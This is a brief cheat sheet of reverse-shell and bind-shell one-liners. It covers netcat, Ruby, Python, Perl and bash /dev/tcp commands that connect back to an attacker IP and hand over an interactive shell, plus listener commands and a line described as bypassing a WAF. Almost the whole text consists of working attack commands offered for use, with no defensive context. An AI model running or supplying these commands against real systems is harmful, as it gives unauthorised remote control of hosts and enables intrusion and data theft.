Reverse Connection!

Connect:

ncat -lvp 444

nc -lvp 4444

Reverse Connection:

Netcat:

nc -e /bin/sh 10.0.0.1 1234

older versions:

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

more:

/bin/sh | nc attackerip 4444

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Python
This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

with tty:

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

 PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

bypassing WAF for revshell in linux servers
::Server Side$ /bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

without backconnect:
on server:
ncat --exec "/bin/bash" -l 8081 --keep-open

connect with:
nc serverip  8081